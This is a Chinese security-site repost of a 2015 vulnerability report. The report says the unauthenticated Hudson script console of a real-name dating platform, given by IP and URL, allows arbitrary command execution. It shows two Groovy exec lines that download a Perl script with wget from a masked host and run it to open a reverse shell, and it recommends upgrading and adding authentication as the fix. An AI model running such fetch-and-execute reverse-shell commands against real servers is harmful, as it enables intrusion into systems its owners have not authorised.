首家实名制相亲平台我在找你任意命令执行 - 网-自学php网

主页 > 后端 > 网站安全 >

首家实名制相亲平台我在找你任意命令执行 - 网

来源：自学PHP网时间：2015-04-17 14:11 作者：阅读:次

[导读] Hudson版本太低，无用户验证功能，可直接任意执行系统命令漏洞证明：http://59.151.1.116:8080/script反弹shelljava.lang.Runtime.getRuntime().exec(#39;wget http://www.XXX.com/uploads/XX.pl -O /tmp/XX......

Hudson版本太低，无用户验证功能，可直接任意执行系统命令

漏洞证明：http://59.151.1.116:8080/script
反弹shell

java.lang.Runtime.getRuntime().exec('wget http://www.XXX.com/uploads/XX.pl -O /tmp/XX.pl')

java.lang.Runtime.getRuntime().exec('perl /tmp/XX.pl xxx.xxx.xxx.xxx XX')

修复方案：

升级，添加验证

作者 Z-0ne

拍客piikee竞拍网站系统注射漏洞及修复 - 网站安

千博企业网站管理系统HitCount.Asp页面注入漏洞

最新评论

加载更多~~

添加评论

更多文章推荐

去掉windows安全警报红色小图标 - Windows操作系统 2015-04-17
DB权限暴出物理路径 - 网站安全 - 自学php 2015-04-17
国外某PHP的网络日记程序0day - 网站安全 - 自学 2015-04-17
完美世界客服中心XSS - 网站安全 - 自学php 2015-04-17
使用低权限Oracle 数据库账户得到OS访问权限 - 网 2015-04-17
Akcms普通用户可利用的存储型xss可劫持管理审核人 2015-04-17
PHP168新漏洞可查询任意用户数据 - 网站安全 - 自 2015-04-17
网纪互联公文签收系统司法版上传缺陷及修复 2015-04-17
2.2 基础的SQL注入与原理的讲述 - 网站安全 - 自学 2015-04-17
金山毒霸存储型XSS第二弹 - 网站安全 - 自学php 2015-04-17

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com



添加评论